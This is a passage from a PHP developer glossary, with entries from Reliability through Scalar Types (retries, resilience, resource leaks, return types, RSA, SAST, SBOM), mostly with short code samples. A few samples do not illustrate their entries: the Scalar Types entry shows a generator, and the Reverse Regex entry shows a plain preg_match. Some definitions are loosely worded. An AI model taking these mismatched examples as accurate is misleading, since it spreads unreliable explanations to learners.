Reliability is the ability of a system to perform its intended function consistently and without failure over a given period. A reliable system behaves predictably under normal and adverse conditions.
Reliability is built through defensive programming, thorough testing, graceful error handling, circuit breakers, retries with backoff, and observability practices that surface failures quickly. It is closely related to availability but focuses on correctness and consistency rather than uptime alone.
See Also
Related
- Service Level Agreement (SLA)
- Quality of Service (QoS)
- Availability
- Circuit Breaker
- Error Handling
- Monitoring
- Defensive Programming
- Test
- Cache Stampede
- The Nines (Availability)
- Resilience
- Retry
Render
To render, or rendering, is the action of taking a template and its related data to produce a target format.
Usually, the rules to render the format are complex: they cannot be reduced to simple commands, so they are collected in an engine, called the renderer.
For example, rendering an HTML page, JavaScript, PDF, YAML, etc.
Rendering is related to templates, formats and optimisation.
<?php
$name = "elephpant";
$template = "Hello NAME";
// very simple rendering
echo str_replace('NAME', $name, $template);
?>
See Also
Related
Related packages
Renderer
A renderer is a piece of code that applies the rules to produce a target format. For example, rendering an HTML page, javascript, PDF, YAML, etc..
<?php
$name = "elephpant";
$template = "Hello NAME";
// very simple rendering
echo str_replace('NAME', $name, $template);
?>
See Also
Related
Read Eval Print Loop (REPL)
PHP’s REPL mode, or Read-Eval-Print Loop, is an interactive shell that allows to execute PHP code line by line and see immediate results. It’s useful for testing code snippets, debugging, and experimenting with PHP functions without creating separate files.
This mode is also called the interactive mode. It is started, on command line, by calling PHP with the -a option: >php -a. The mode is ended by calling quit.
$ php -a
Interactive shell
php > echo 5+3;
8
php > quit
$
See Also
- Creating a PHP REPL for learning purposes
- Boris, A tiny, but robust REPL for PHP.
- Say Hello to Boris: A Better REPL for PHP
Related
- Webserver
- Server Application Programming Interface (SAPI)
- Command Line Interface (CLI)
- Readline
- Keymap
Related packages
Replay
A replay is the act of returning a previously stored result to a repeated request without re-executing the underlying operation. When a client retries a request that already succeeded, the server recognises the repeat via an idempotency key or fingerprint and replays the original response directly from cache.
Replay differs from a fresh response: the operation is not run again, no side effects are triggered, and the returned data is identical to the first response. A response header such as Idempotency-Replayed: true is often used to signal to the client that it received a cached replay rather than a live result.
The concept also applies in event sourcing, where replaying a stream of past events reconstructs application state.
See Also
Related
Request-Response
Request-response is a communication pattern where a caller, the client, sends a request and synchronously waits for the callee, the server, to return a response before continuing. It is the fundamental interaction model of HTTP, RPC, and most database queries.
In the request-response pattern, the caller is blocked while the server processes the request. The server handles the request, computes a result, and sends it back. The caller then resumes with the result. Both parties must be available simultaneously.
This is distinct from fire-and-forget, with no response expected, pub/sub, with no direct coupling between publisher and subscriber, and streaming, with continuous flow of data rather than a single response.
PHP’s traditional execution model is built entirely around request-response: the browser, as the client, sends an HTTP request, PHP processes it synchronously and returns an HTTP response. This model is simple and debuggable but imposes a one-request-per-worker constraint without async extensions.
<?php
// PHP is the server side of the HTTP request-response pattern
// Every PHP-FPM request follows this lifecycle:
// 1. Client sends: GET /orders/42 HTTP/1.1
// 2. PHP receives, processes, and returns:
http_response_code(200);
header('Content-Type: application/json');
echo json_encode(['id' => 42, 'status' => 'shipped']);
// PHP as the client side (HTTP request-response to a downstream service):
$response = $httpClient->get('https://payment-service/status/42');
// Client blocks here until payment-service responds
$status = $response->toArray()['status'];
// Contrast with fire-and-forget (no wait):
$queue->push(new SendEmailJob($user)); // returns immediately, no response
?>
See Also
Related
Request
A request is an object that encapsulates an incoming HTTP message: method, URL, headers, query parameters, body, and uploaded files.
PHP frameworks provide a dedicated Request object that replaces direct access to superglobals such as $_GET, $_POST, $_SERVER, and $_FILES. This makes code more testable and explicit.
PSR-7 defines a standard ServerRequestInterface that many frameworks and libraries implement, enabling interoperability.
<?php
// PSR-7 style
use Psr\Http\Message\ServerRequestInterface;
function handle(ServerRequestInterface $request): void {
$method = $request->getMethod(); // 'POST'
$query = $request->getQueryParams(); // $_GET equivalent
$body = $request->getParsedBody(); // $_POST equivalent
$header = $request->getHeaderLine('Accept');
}
// Laravel / Symfony style
use Illuminate\Http\Request;
class UserController {
public function store(Request $request): Response {
$name = $request->input('name');
$email = $request->input('email');
}
}
?>
See Also
Related
- $_REQUEST
- $_GET
- $_POST
- $_SERVER
- Controller
- Route
- Middleware Pattern
- Incoming Data
- Form
- Firewall
- HTTP Method
- Payload
- Slim
Related packages
Reserved Names
PHP shares several namespaces with the custom code, and has reserved some names for its own usage.
- Namespaces: the global namespace, also known as
\is reserved for PHP. - Keywords:
fn,finally,insteadof,null,void,match, … - Some classes, constants, functions, interfaces:
die,exit, - Variables:
$GLOBALS,$_GET,…
<?php
// function void() would not compile
function theVoid() : bool { }
?>
See Also
Related
Resilience
Resilience is the ability of a system to absorb failures and disturbances and continue providing acceptable service, or recover quickly when a failure does occur. A resilient system degrades gracefully rather than failing completely.
Resilience is achieved through a combination of patterns: redundancy, with multiple instances, fault isolation, so that failures don’t cascade, retries with exponential backoff, when transient failures are retried intelligently, circuit breakers, to stop hammering a failing service, timeouts, that prevent indefinite blocking, fallbacks, which serve cached or degraded content, and graceful degradation, which disable non-critical features when dependencies are unavailable.
Resilience patterns are applied at the HTTP client level, for example Guzzle retry middleware, the queue level, for example dead-letter queues and retry policies, the cache level, for example serve stale on cache miss, and the infrastructure level, for example load balancing, health checks and auto-scaling.
Resilience is distinct from reliability, which is never failing, and availability, which is always being up. A resilient system is not necessarily always available, but it recovers quickly and limits the blast radius of failures.
<?php
// Retry with exponential backoff using Guzzle middleware
use GuzzleHttp\Client;
use GuzzleHttp\HandlerStack;
use GuzzleHttp\Middleware;
use GuzzleHttp\Psr7\Request;
use GuzzleHttp\Psr7\Response;
use GuzzleHttp\Exception\ConnectException;
$stack = HandlerStack::create();
$stack->push(Middleware::retry(
decider: function (int $retries, Request $req, ?Response $res, ?\Throwable $e): bool {
return $retries < 3 && ($e instanceof ConnectException || ($res && $res->getStatusCode() >= 500));
},
delay: fn(int $retries): int => (int) (100 * 2 ** $retries), // 100ms, 200ms, 400ms
));
$client = new Client(['handler' => $stack, 'timeout' => 5.0]);
?>
See Also
Related
- Fault Isolation
- Circuit Breaker
- Distributed Systems
- Availability
- Reliability
- Retry
- Monitoring
- Timeout
- Deadline
- Jitter
- Bulkhead
- Chaos Engineering
- Stale-While-Revalidate
- Backoff
- Cascading Failure
- Connection Pool
- Fallback
Resource Leak
A resource leak occurs when a resource, such as a file handle, database connection, network socket, or stream, is opened but never properly closed. The resource remains allocated until the process ends or the PHP request finishes, consuming memory and system file descriptors unnecessarily.
Resource leaks are common with fopen(), fsockopen(), database connections opened via mysqli_connect() or PDO, and cURL handles. If the code returns early, throws an exception, or follows an unexpected path before reaching the fclose() / mysqli_close() / curl_close() call, the resource is leaked.
In a regular code execution, function returns trigger variable cleaning, which, in turn, leads to the automatic closing of resources. So, the leak might happen when a resource is stored in a property, with a longer life-span, even though it might not be used. WeakMap is a solution to store data where it might be removed when memory gets tight.
PHP’s request lifecycle mitigates leaks for short-lived web requests: resources are released at the end of the request. However, in long-running CLI scripts, daemons, or applications using ReactPHP or Swoole, leaked resources accumulate and can exhaust system limits.
The recommended mitigation is to use try/finally blocks to guarantee cleanup, or to wrap resources in objects that close themselves in their destructor.
<?php
// BAD: fclose() may never be reached if an exception is thrown
$fp = fopen('data.csv', 'r');
processLines($fp); // may throw
fclose($fp); // skipped on exception → resource leak
// GOOD: finally guarantees the handle is always closed
$fp = fopen('data.csv', 'r');
try {
processLines($fp);
} finally {
fclose($fp);
}
?>
See Also
Related
- resource
- Exception
- Try-catch
- Finally
- fopen()
- PHP Data Objects (PDO)
- Weakmap
- Memory Leak
- Leak
- fclose()
- fread()
- ftell()
- fwrite()
- Linear Type
resource
A resource is a special type of data, holding a reference to an external resource. Resources are created and used by special functions.
Resources are only used with their dedicated functions. It is not possible to modify them in any other way.
Resources, in general, are being removed from PHP code and more recent versions tend to rely less on them and more on objects.
There is a list of PHP resources available in the docs.
<?php
$fp = fopen('/tmp/test.txt', 'r+');
var_dump(is_resource($fp));
?>
See Also
Related
Responsability
Responsibility refers to a reason to change or a goal to achieve. A class, module, or function should have one, and only one, responsibility: this means it should do one thing and do it well.
Responsibility often relates to the key idea of Single Responsibility Principle, the SRP.
The SRP is the S in SOLID, formalized by Robert C. Martin. It states: A class should have only one reason to change.
When a class handles both business rules and database storage, it has two responsibilities: and therefore two reasons to change. This happens when business rules change or when the database schema changes, or both.
See Also
Related
Response
A response is the dataset returned by a server, to a query. It is further processed by a client.
Any server may return a response: web server, SQL, LDAP, etc. That response may be a content, or an error.
See Also
- What Is a HTTP Response? Guide To HTTP Response Status Codes
- HTTP status codes explained: full guide with examples
Related
REST API
REST stands for Representational state transfer. It formalize an interface to access resources that are physically separated.
REST defines four interface constraints:
- Identification of resources
- Manipulation of resources
- Self-descriptive messages
- Hypermedia as the engine of application state
REST APIs are documented with OpenAPI, aka swagger.
See Also
Related
- Application Programming Interface (API)
- GraphQL
- gRPC (Google Remote Procedure Call)
- Swagger
- Web Real-Time Communication (WebRTC)
- Application
- Mobile Application
- Progressive Web App
- Web Application
- AJAX
- Headless
- HTTP Code
- Micro-framework
- Search Engine
Result Type
A result type is a built-in sum type, such as Rust’s Result<T, E> or Swift’s Result<Success, Failure>, that represents either a successful outcome carrying a value, or a failure carrying an error. It is returned by ordinary functions instead of being thrown, so error handling becomes part of the type signature: the compiler forces the caller to check which case occurred before using the value, typically through pattern matching.
Result types turn recoverable errors into regular data, and are usually reserved for expected failure modes, such as a parse error or a missing file, while unrecoverable conditions still use panics or exceptions.
PHP has no native result type. Recoverable failure is normally reported by throwing an exception, which unwinds the stack and must be caught with try/catch, or by returning a sentinel such as false or null, which the caller can silently ignore. A result type can be approximated in userland with a class holding either a value or an error, combined with match or instanceof checks, but the engine does not enforce that the caller handles both cases.
<?php
// Approximation, not a native construct.
abstract class Result {}
final class Ok extends Result {
public function __construct(public readonly mixed $value) {}
}
final class Err extends Result {
public function __construct(public readonly string $error) {}
}
function divide(int $a, int $b): Result {
if ($b === 0) {
return new Err('division by zero');
}
return new Ok($a / $b);
}
?>
See Also
- Error Handling Approaches: Exceptions or Result Types?
- Error Handling - The Rust Programming Language
Related
- Exception
- Union Type
- Sum Type
- Algebraic Data Type
- Enumeration (enum)
- Pattern Matching
- Railroad Programming
Retry-After Header
The Retry-After header tells a client how long to wait before sending another request. It is usually sent with a 429 Too Many Requests response, when the client has hit a rate limit, and with a 503 Service Unavailable response during maintenance.
The value is either a number of seconds, such as Retry-After: 120, or an HTTP date, such as Retry-After: Wed, 21 Oct 2026 07:28:00 GMT.
A client should honour this header before retrying, rather than using its own fixed delay. Retrying immediately makes rate limiting worse, and a correct retry loop reads the header, waits, and only then tries again, with a maximum number of attempts.
<?php
$wait = (int) $response->getHeaderLine('Retry-After');
if ($wait > 0) {
sleep($wait);
}
See Also
Related
Retry
A retry is the act of re-attempting an operation that previously failed, typically due to a transient error such as a network timeout, a temporarily unavailable service, or a rate-limit response.
Retry strategies differ in how they space repeated attempts: immediate retry, fixed delay, or exponential backoff, often combined with jitter to avoid thundering herd problems. A maximum attempt count or deadline prevents infinite loops.
Because retries re-send the same request, the server-side operation must be idempotent to avoid unintended side effects such as duplicate charges or duplicate records. Idempotency keys are a common mechanism for making retried requests safe on the server side.
See Also
- Exponential Backoff And Jitter
- Building Resilient Systems: The Power of Retry Mechanisms with Exponential Backoff
Related
- Idempotent
- Backoff
- Jitter
- Circuit Breaker
- Webhook
- Deduplication
- Hyper Text Transfer Protocol (HTTP)
- Reliability
- Error Handling
- Queue
- Cascading Failure
- Replay
- Resilience
- Worker
- Chaos Engineering
- Deadline
- Retry-After Header
- Third-Party API
- Timeout
Return Carriage
A return carriage is a whitespace character, that historically represents moving the cursor to the beginning of the line, without advancing to the next line.
A return carriage is represented by the escape sequence \r, in double quote strings. It is also the ASCII code 13.
Return carriage are important when formatting code, as they are at the end of a line.
<?php
echo "\r";
echo chr(13); // ASCII code 13
?>
See Also
Related
Return Type
Return types are the types used for the return value of a method or function.
They are the same as the argument types, with a few addition:
void, which means that no value is returned. No usage of return, or return with no explicit valuenever, which means that the function won’t return: either it will kill the application, or it will throw an exception.
Return types are ignored when the method throws an exception.
Return type are covariant: they get more or equally precise with each new child generation.
<?php
function trumpet() : bool {
if (rand(0,1)) {
return true;
} else {
return false;
}
}
?>
See Also
Related
Return Value
Return value is the value returned by a method or function call.
That value may be typed with a data type. In that case, each call to return must return that type.
It may also be typed with never, in case the method doesn’t return anything. In that case, it would never ends, throw an exception or kill the execution.
A value is returned with the keyword return. When no such command is used, for example when a method doesn’t have a return command and reach the end of the method’s body, then null is returned.
<?php
function trumpet() : int {
return 1;
}
function forage() : never {
throw new Exception("Error");
}
function migrate() : void {
echo __METHOD__;
// No return value
}
// returns null
function stampede() { }
?>
See Also
Related
Return
return ends the current method, and sends back a produced value to the calling module. Execution resumes at the expression following the called module’s invocation.
return may be typed: the returned value is then checked against that type, by static analysis or by the PHP engine, at execution time.
The return type may not always be returned: this is the case for never, which indicates that the method will not return.
return types are covariant: one may return a more precise type, aka a child class, than typed, but not more general, aka a parent class.
return is optional: when omitted, PHP returns automatically null. The returned value of return is also optional: in that case, PHP returns null, but it also returns a distinct value when the method is typed with the return type void.
return does not prevent finally from being executed, when the return command is in a try block.
return is considered a jump, as it stops the current sequential execution, and moves the pointer to another part of the code. This is similar to if-then, goto, for, yield, etc.
<?php
function trumpet() {
if (rand(0, 1)) {
return 'tail';
}
return 'face';
}
echo trumpet();
interface Elephpant {
function forage(AfricanElephpant $trunk): Elephpant;
}
interface AfricanElephpant extends Elephpant {
function forage(Elephpant $trunk): AfricanElephpant;
}
?>
See Also
Related
- Functions
- Method
- Closure
- Control Flow
- Impure Function
- Jump
- Type System
- Pure Function
- Return Type
- Covariance
Return Type Will Change
This is a native PHP attribute. It tells the engine that method overwriting or implementing a native method will use a different return type.
PHP checks the compatibility of implementing methods versus a custom interface. Until PHP 8.1, it did not report such violation when the interface is a PHP native one: this was for backward compatibility.
To avoid using that attribute, one must made the return type compatible with PHP signatures.
This attributes only works with PHP native methods: it is ignored when used with other methods.
<?php
class Elephpant implements ArrayAccess {
#[\ReturnTypeWillChange]
public function offsetGet(mixed $offset) {}
// ...
}
?>
See Also
Related
Reverse Regex
A reverse regex is a library that produces a string based on a regex. The resulting string satisfies the regex.
Such a tool is good for testing, so as to find possible regexploits, or simple loopholes in the original regex.
<?php
preg_match('/(foo)(bar)(baz)/', 'foobarbaz', $matches, PREG_OFFSET_CAPTURE);
print_r($matches);
?>
Related
Related packages
Revision
A revision typically refers to a specific state or snapshot of a VCS repository at a particular point in its history. These revisions are identified by unique identifiers called commit hashes or commit SHA, or Secure Hash Algorithms.
See Also
Related
- git
- Version Control System (VCS)
- Secure Hash Algorithm (SHA)
- Continuous Delivery (CD)
- Continuous Integration (CI)
rewind()
rewind() is a native PHP function that sets the file position indicator for a file pointer to the beginning of the file.
It is equivalent to fseek($fp, 0) and is useful when re-reading a file from the start without closing and reopening it. The rewind() function returns true on success, or false on failure. A E_WARNING error is emitted if the file pointer is not valid.
<?php
$fp = fopen('/tmp/test.txt', 'r');
// Read some content
$content = fread($fp, 100);
// Rewind to the beginning to re-read
rewind($fp);
$contentAgain = fread($fp, 100);
fclose($fp);
?>
See Also
Related
RFC
The RFC acronym has several usage:
- Request For Comments
- Request For Change
RFC is often a short for PHP rfc. There are also more general RFC, like for FTP, SMTP or DNS.
See Also
Related
- PHP RFC
- Domain Name System (DNS)
- Simple Mail Transfer Protocol (SMTP)
- File Transfer Protocol (FTP)
- Request For Change (RFC)
Request For Change (RFC)
A Request For Change is a document containing a call for an adjustment of a source code.
PHP RFCs are formal proposals for changes or additions to the language. These proposals are used to discuss and decide on new features, syntax modifications, and improvements.
The RFC process allows the PHP community, which includes core developers and the broader user base, to review, comment on, and reach a consensus about proposed changes before they are implemented. This open and collaborative approach helps ensure that significant decisions are made with input from a diverse range of perspectives.
The typical life cycle of an RFC involves several stages, including drafting, discussion, and voting. If an RFC is accepted and receives enough support, the proposed changes are integrated into the PHP source code, and the feature becomes part of a future PHP release.
See Also
Related
Reserved For Future Use (RFU)
RFU stands for Reserved for Future Use. It means that the code is here for later usage, but not right now. Implicitly, it is a request to leave it in place, until actual usage happen.
See Also
Related
RGB
RGB is an additive color model in which a color is produced by combining three channels of light: red, green, and blue. Each channel usually holds an integer between 0 and 255, giving 16,777,216 possible colors.
PHP’s gd extension works natively with RGB: imagecolorallocate() takes three integers, one per channel, and returns a color identifier that can then be used to draw on an image. RGB values are also commonly written in hexadecimal notation, #RRGGBB, as used in CSS and HTML.
RGBA extends the model with a fourth, alpha channel, controlling transparency.
<?php
$image = imagecreatetruecolor(100, 100);
$red = imagecolorallocate($image, 255, 0, 0);
imagefill($image, 0, 0, $red);
?>
See Also
Related
Rich Domain Model
A rich domain model is one where domain objects, entities, aggregates, value objects, encapsulate both state and the business behaviour that depends on that state. Business rules, invariants, and domain logic live inside the objects themselves, not in external service classes.
A rich domain model is the alternative to the anemic domain model. Rather than exposing raw setters and relying on service classes to enforce rules, a rich entity exposes meaningful, intention-revealing methods that internally validate state transitions and enforce invariants.
Rich domain models align with the principles of Domain-Driven Design: the domain layer is the most important part of the codebase, the language of the code mirrors the language of the domain experts, and the objects protect themselves from invalid state.
Building a rich domain model means: using private properties with no public setters, returning new instances or recording domain events from methods, and throwing domain exceptions when a requested transition is invalid. Value objects are immutable and validated at construction.
<?php
// Rich domain entity: Order enforces its own lifecycle
final class Order {
private OrderStatus $status;
private Money $total;
private array $events = [];
private function __construct(OrderStatus $status, Money $total) {
$this->status = $status;
$this->total = $total;
}
public static function place(CustomerId $customer, array $items): self {
if (empty($items)) {
throw new \DomainException('An order must have at least one item.');
}
$total = Money::sum(array_map(fn($i) => $i->price, $items));
$order = new self(OrderStatus::Pending, $total);
$order->events[] = new OrderPlaced($customer, $total);
return $order;
}
public function pay(Payment $payment): void {
if (!$this->status->isPending()) {
throw new \DomainException('Only pending orders can be paid.');
}
if (!$payment->covers($this->total)) {
throw new \DomainException('Payment is insufficient.');
}
$this->status = OrderStatus::Paid;
$this->events[] = new OrderPaid($payment->id);
}
public function releaseEvents(): array {
$events = $this->events;
$this->events = [];
return $events;
}
}
?>
See Also
- Anemic Domain Model vs Rich Domain Model with Examples
- Rich vs Anemic Entities in PHP with Doctrine: How to Structure Your Business Logic Right
Related
- Anemic Domain Model
- Domain Design Driven (DDD)
- Domain
- Value Object
- Event Sourcing
- OOP (Object Oriented Programming)
Rich Text
Rich Text refers to data that is human-readable, yet includes extra information to apply style to that text, such as paragraph, section, font, bold, italic, etc.
Such text is not crypted, per se, yet requires a specific reader to make the reading experience pleasant.
HTML, XML, RTF are all examples of Rich Text file.
<?php
$plainText = 'PHP {\bRocks!}'; // Rocks! is in bold, according to RTF
?>
See Also
Related
Rigidity
Rigidity is when a change in one place forces changes in many other places. The code resists modification: one pull one thread and the whole sweater unravels.
Rigidity is reduced by using abstraction or modularity.
The opposite of rigidity is flexibility.
See Also
Related
robots.txt
The robots.txt file is a simple text file placed on a website’s root directory. It tells web-spiders, like search engine bots, which pages or sections of the site they are allowed or disallowed to access.
robots.txt controls bot traffic to avoid overloading servers or indexing private/irrelevant pages.
robots.txt tends to leak path where a robot should not index content, which is usually a place where hackers tries to login.
See Also
Related
Related packages
Rollback
A rollback is the process of reverting a system, database, or deployment to a previous known-good state after a failure or undesirable change.
In the context of databases, a rollback undoes all changes made since the beginning of a transaction, restoring the data to its state before the transaction started. PHP database extensions support transactional rollback.
In the context of deployments, a rollback means re-deploying an earlier version of the application when a new release introduces critical bugs or regressions. Tools such as Deployer, Envoyer, Capistrano, and Kubernetes support deployment rollbacks.
In version control, a rollback can mean reverting a commit or resetting a branch to an earlier state using git revert or git reset.
Having a reliable rollback strategy is a key aspect of safe deployments and system resilience.
<?php
// Database transaction rollback with PDO
$pdo = new PDO('mysql:host=localhost;dbname=shop', 'user', 'pass');
try {
$pdo->beginTransaction();
$pdo->exec("UPDATE accounts SET balance = balance - 100 WHERE id = 1");
$pdo->exec("UPDATE accounts SET balance = balance + 100 WHERE id = 2");
$pdo->commit();
} catch (Throwable $e) {
$pdo->rollBack(); // Revert both changes
throw $e;
}
?>
See Also
Related
- Database
- PHP Data Objects (PDO)
- Transaction
- Deployment
- git
- Migration
- Error Handling
- Database Commit
- Timing Attack
- VCS Commit
Rounding
Rounding refers to the process of adjusting numerical values to a certain degree of precision. Most often, it means turning a float number into an integer, although there are rounding in various scales: rounding floats to 2 digits after the decimal separator; rounding to the nearest power of 10; rounding to the next unit, like Mb.
Rounding has several techniques: that needs to be consistent across applications: rounding to the next integer; to the previous integer; truncating; rounding to the nearest even number; flooring or ceiling; etc.
<?php
$pi = M_PI;
print round($pi, 0); // 3
?>
See Also
Related
Route
A route links an HTTP URL to a request handler.
Routes may be a few, for which a basic system such as a switch is sufficient, to very numerous, where is it handled by a routing system or even the architecture.
<?php
switch ($_SERVER['REQUEST_URI']) {
// handle home page
case '/':
require '/controller/homepage.php';
break;
// handle all other pages
default:
require '/controller/404.php';
break;
}
?>
See Also
Related
Related packages
Row Polymorphism
Row polymorphism is a type system feature that allows functions to be polymorphic over records or objects with an open set of fields. A function typed to accept { name: string | r } accepts any record that has at least a name field of type string, regardless of what other fields r might be. The r is called the row variable; it represents the remainder of the record’s structure.
Row polymorphism enables structural typing for records without requiring an explicit declaration of subtype relationships. Two record types are compatible if one has at least the fields the other requires, regardless of whether any inheritance or interface relationship exists between them. Languages with row polymorphism include OCaml with the object types, PureScript, Elm, and TypeScript with structural typing for object literals.
PHP uses nominal typing. Two types are compatible only if one explicitly declares that it implements or extends the other. There is no structural compatibility between arbitrary class shapes.
The closest approximations are:
- Interfaces: an interface specifies a subset of methods; any class implementing it is compatible, which is behavioral row polymorphism over methods.
- Duck typing: calling a method without a type check relies on structural compatibility at runtime, with no static guarantee.
- Array shapes:
array{name: string, ...}in annotations approximates open row types for arrays, allowing static analysis to accept arrays with at least the declared keys.
None of these is full row polymorphism: interfaces cover methods only, not arbitrary properties, and array shape annotations apply to arrays, not objects.
<?php
// PHP approximation: interface as a behavioral row constraint
interface HasName {
public function getName(): string;
}
// Any class with getName() is accepted, regardless of other fields/methods
function greet(HasName $entity): string {
return 'Hello, ' . $entity->getName();
}
// Array shape approximation (annotation only, no runtime effect)
/** @param array{name: string, ...} $record */
function greetArray(array $record): string {
return 'Hello, ' . $record['name'];
}
?>
See Also
Related
- Type System
- Polymorphism
- Interface
- Duck Typing
- Generics
- Gradual Type Checking
- Structural Typing
- Array Shape
Remote Procedure Call (RPC)
RPC is an acronym for Remote Procedure Call. This happens when the program delegates the execution of a piece of code to a separate server.
PHP offers xml-rpc, gRPC, Protocol Buffers also called protobuf, and Yar as different standard ways to do RPC.
<?php
$params = ['one'=>'red', 'two'=>'blue', 'three'=>'green'];
$response = xmlrpc_encode($params);
echo($response);
?>
See Also
Related
Related packages
RSA
RSA is the Rivest–Shamir–Adleman algorithm, a widely used method of encryption in the field of cryptography.
RSA is a public-key cryptosystem, with a public key, shared with everyone, and a private key, kept secret.
<?php
// 1) Create a new private/public key pair
$config = [
'private_key_bits' => 2048,
'private_key_type' => OPENSSL_KEYTYPE_RSA,
];
$res = openssl_pkey_new($config);
// Export the private key
openssl_pkey_export($res, $privateKey);
// Extract the public key
$keyDetails = openssl_pkey_get_details($res);
$publicKey = $keyDetails['key'];
echo "Private Key:\n$privateKey\n\n";
echo "Public Key:\n$publicKey\n\n";
// 2) Encrypt a message
$data = 'Hello, RSA!';
// Encrypt with public key
openssl_public_encrypt($data, $encrypted, $publicKey);
// Encode for safe output/storage
$encryptedBase64 = base64_encode($encrypted);
echo "Encrypted:\n$encryptedBase64\n\n";
?>
See Also
Related
Rubber Ducking Debugging
Rubber Ducking is a debugging technique, where one explains the bug in human language, to a partner. The partner may be a real human, but also, an inanimate object, such as a rubber duck. In the process of explaining, the speaker clarifies the situation and often, get a deeper knowledge.
The rubber duck reference is mentioned in the Pragmatic programmer book.
See Also
Related
Runtime Checks
Runtime checks refer to the process of verifying certain conditions or constraints during the execution of a script. These checks are performed dynamically while the script is running, as opposed to static checks which are done before the script is executed. Runtime checks help ensure that the program behaves as expected and can catch potential issues during execution.
<?php
// string $string is a static check : it can be checked before running
function trumpet(string $string, $argument) {
// This is a runtime check : it needs to run
if (is_string($argument)) {
//
}
}
?>
See Also
Related
RuntimeException
Exception thrown if an error which can only be found on runtime occurs.
RuntimeException is part of the SPL exception hierarchy introduced in version 5.1, extending the base Exception class. It is the sibling hierarchy to LogicException: while LogicException covers faults that could, in principle, be detected before runtime by inspecting the code, RuntimeException covers errors that can only be detected while the script is executing, such as I/O failures, unexpected external data, or a value becoming invalid only once it is used.
PHP rarely throws a bare RuntimeException itself; it mostly serves as the common base for more specific SPL exceptions such as OutOfBoundsException, OverflowException, RangeException, UnderflowException and UnexpectedValueException, and it is also the ancestor of extension-provided exceptions such as PDOException and mysqli_sql_exception. Catching RuntimeException lets code handle all of these execution-time failures with a single catch block, without also swallowing programmer errors caught by LogicException.
<?php
try {
throw new RuntimeException('Connection lost while reading the stream');
} catch (RuntimeException $e) {
print 'Runtime failure: ' . $e->getMessage();
}
?>
See Also
Related
- Exception
- LogicException
- RangeException
- OverflowException
- UnexpectedValueException
- PDOException
- mysqli_sql_exception
- PHP Predefined Exception
Software-as-a-Service (SAAS)
SaaS stands for Software as a Service. It’s a software distribution model where applications are hosted by a provider and made available to customers over the internet, typically through a web browser.
See Also
- The Pros and Cons of Software as a Service (SaaS) | Insight
- SaaS Business Model Explained: Pros, Cons & Stages
Related
Security Assertion Markup Language (SAML)
SAML, the Security Assertion Markup Language, is an open XML-based standard for exchanging authentication and authorization data between an identity provider, and a service provider. It is one of the main protocols behind enterprise Single Sign-On, SSO.
A typical SAML flow: the user tries to access a service provider, gets redirected to the identity provider to authenticate, and the identity provider sends back a signed XML assertion confirming the user’s identity, which the service provider validates and trusts.
SAML is older than OpenID Connect and OAuth 2.0, and remains widely used in corporate and government single sign-on deployments, often alongside directories such as LDAP or Active Directory.
See Also
Related
- Single Sign On (SSO)
- OpenID Connect (OIDC)
- OAuth
- Authentication
- Lightweight Directory Access Protocol (LDAP)
- Extensible Markup Language (XML)
- Token
Related packages
Sandbox
An isolated environment where code can be run or tested, without affecting the real system. Sandboxes are very useful to check PHP feature across several versions.
See Also
Related
Sanitation
Sanitation is the process to clean data and remove any unwanted parts. The data may end up modified by this process, sometimes quite a lot. There are native and extension functions to perform sanitation, as long as components.
<?php
echo 'TRANSLIT : ', iconv("UTF-8", "ISO-8859-1//TRANSLIT", $text), PHP_EOL;
?>
See Also
Related
Related packages
Server Application Programming Interface (SAPI)
SAPI stands for Server Application Programming Interface. SAPI are the interface between PHP and a supporting platform, such as a web server like nginx, apache, caddy, … , a debugger like phpdbg, … or the command line interface.
<?php
echo PHP_SAPI;
echo php_sapi_name();
?>
See Also
Related
- Common Gateway Interface (CGI)
- Command Line Interface (CLI)
- Read Eval Print Loop (REPL)
- Terminal User Interface (TUI)
Static Application Security Testing (SAST)
Static Application Security Testing, or SAST, is a branch of static analysis, dedicated to security.
It focuses on finding vulnerabilities before the source code hits production.
For example, SAST searches for injections, XSS, path traversal, insecure deserialization, weak cryptography, missing validation.
See Also
Related
- Second Order SQL Injection
- Remote Code Execution (RCE)
- Static Code Analysis (SCA)
- Cross Site Scripting (XSS)
- Cross Site Request Forgery (CSRF)
- SQL Injection
- Path Traversal
- Insecure Deserialization
- Weak Cryptography
- Missing Validation
- Analysis
- Control Flow Analysis
- Data Flow Analysis (DFA)
- LDAP Injection
- Pattern-Based Analysis
- Semantic Analysis
- Symbolic Analysis
Software Bill Of Material (SBOM)
A Software Bill of Materials, aka SBOM, is a formal, machine-readable inventory of all components, libraries, and dependencies used in a software project. It lists every piece of code, directly included or indirectly pulled in via dependencies, so one knows exactly what’s in the application source code. It makes it possible to track vulnerabilities, licenses, and outdated libraries.
For PHP projects, a SBOM typically contains:
- Composer dependencies: these are the packages listed in composer.json, and their actual version in composer.lock
- PHP version, core extensions and third party extensions
- System dependencies versions: the underlying libraries that PHP extensions depend upon
- Licenses for each component
- Known vulnerabilities, if any, such as CVEs from the PHP Security Advisories Database
SBOM uses the CycloneDX format as a standard.
See Also
Related
Static Code Analysis (SCA)
Static code analysis, or SCA or static analysis, analyzes the source code: it reports possible bugs, conventions violations, incorrect structures, vulnerabilities, versions or OS portability incompatibilities, etc.
PHP includes static code analysis, by reporting a wide range of errors before executing the code, at linting time. Then, the other errors are reported at execution time. SCA works in-between these two phases: after the code compiles, but before it is executed.
SCA is usually invoked manually, during development time, at commit time, to avoid pushing incorrect code, and in CI/CD pipelines, to ensure it was correctly run.
See Also
Related
- Analysis
- Audit
- Autocompletion
- Static Single Assignment Form (SSA)
- Tool
- Type Checking
- Static Application Security Testing (SAST)
- PHPStan
- Psalm
- Control Flow Analysis
- Data Flow Analysis (DFA)
- Semantic Analysis
- Symbolic Analysis
- Pattern-Based Analysis
- Docblock
- Linting
- Continuous Integration (CI)
- Array Shape
- Gradual Typing
- Tokenizer
- Type Narrowing
- Type Parametricity
- Type System
- White Box Testing
Related packages
Scaffolding
Scaffolding is the automated generation of PHP code to set up a complex operation. For example, store and retrieve objects in the database; set up the base code for an extension…
Frameworks such as CakePHP and Spiral offer scaffolding.
See Also
Related
Scalar Types
Scalar types refer to the basic data types that hold a single value.
PHP scalar types include the following:
Integer int: integers are whole numbers without decimal points.
Float float: floats, also known as floating-point numbers or doubles, represent decimal numbers.
String string: strings are sequences of characters enclosed in quotes, single or double.
Boolean bool: booleans have two possible values: true or false.
Note that null is not considered a scalar type, and often behaves differently.
<?php
function gen_one_to_three() {
for ($i = 1; $i <= 3; $i++) {
// Note that $i is preserved between yields.
yield $i;
}
}
?>
See Also
Related
- Type System
